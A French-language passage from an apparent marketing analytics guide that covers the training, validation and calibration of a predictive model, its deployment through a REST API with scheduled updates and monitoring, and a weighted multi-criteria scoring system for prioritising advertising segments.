  1. Entraînement : utilisez le jeu d’entraînement pour ajuster le modèle, en intégrant la validation croisée pour prévenir le surapprentissage. Surveillez l’évolution des métriques (précision, F1-score).
  2. Validation : ajustez les hyperparamètres en fonction des résultats sur le jeu de validation, en évitant la sur-optimisation.
  3. Test : évaluez la performance finale sur le jeu de test indépendant, en vérifiant la stabilité des indicateurs et en analysant les erreurs types (faux positifs/négatifs).
  4. Calibration : si nécessaire, calibrez le modèle (ex : Platt scaling, isotonic regression) pour obtenir une probabilité de prédiction fiable.

d) Intégration du modèle dans la plateforme publicitaire et mise à jour continue

L’intégration doit assurer un déploiement fluide et une actualisation permanente. Voici la démarche :

  • API REST : déployez votre modèle via un service REST (ex : Flask, FastAPI) accessible depuis votre plateforme publicitaire. Assurez une gestion efficace des requêtes et de la latence.
  • Scripting automatisé : utilisez des scripts Python ou R pour exécuter périodiquement la prédiction sur les nouveaux flux de données, avec stockage dans une base dédiée.
  • Mise à jour en continu : planifiez des tâches cron ou utilisez des orchestrateurs comme Apache Airflow pour relancer le processus de prédiction à intervalles réguliers (ex : toutes les heures ou quotidiennement).
  • Monitoring : implémentez des dashboards en temps réel (Grafana, Power BI) pour suivre la performance du modèle, détecter toute dégradation ou déviation, et déclencher des recalibrages automatiques si nécessaire.

3. Définition et mise en œuvre d’un système de scoring et de priorisation des segments

a) Création d’un système de scoring basé sur la valeur potentielle, la propension à l’achat, et la fidélité

Pour un scoring efficace, il faut définir des métriques précises et reproductibles. Voici la méthodologie :

  1. Identification des critères : déterminez les indicateurs clés tels que le potentiel de valeur (ex : CA moyen par segment), la propension à acheter (probabilité issue du modèle prédictif), et la fidélité (historique d’achats répétés).
  2. Attribution des poids : utilisez des méthodes d’analyse multicritère (ex : Analytic Hierarchy Process — AHP) pour pondérer chaque critère en fonction de leur impact stratégique. Par exemple, la propension peut représenter 50%, la valeur potentielle 30%, et la fidélité 20%.
  3. Calcul du score : appliquez une formule pondérée :
    Score segment = (Poids_propension × Propension) + (Poids_valeur × Valeur) + (Poids_fidélité × Fidélité) où chaque composante est normalisée entre 0 et 1.

b) Méthodes pour pondérer différents critères et générer un ordre de priorité

Adoptez une approche systématique :

  1. Analyse de sensibilité : testez différentes combinaisons de poids pour identifier la configuration qui maximise le ROI ou la conversion.
  2. Utilisation de techniques multicritères : appliquez la méthode ELECTRE ou TOPSIS pour classer de façon objective les segments en tenant compte de plusieurs critères simultanément.
  3. Visualisation : créez des matrices de priorisation sous forme de heatmaps, facilitant la prise de décision en temps réel.

c) Mise en œuvre technique : automatisation du scoring via scripts et dashboards dynamiques

Pour automatiser le processus :

  • Scripting : développez des scripts Python (pandas, NumPy) ou R pour calculer le score en batch, en intégrant le poids de chaque critère. Programmez ces scripts pour qu’ils s’exécutent automatiquement à intervalles réguliers via cron ou orchestrateur.
  • Dashboard : utilisez Power BI ou Tableau pour visual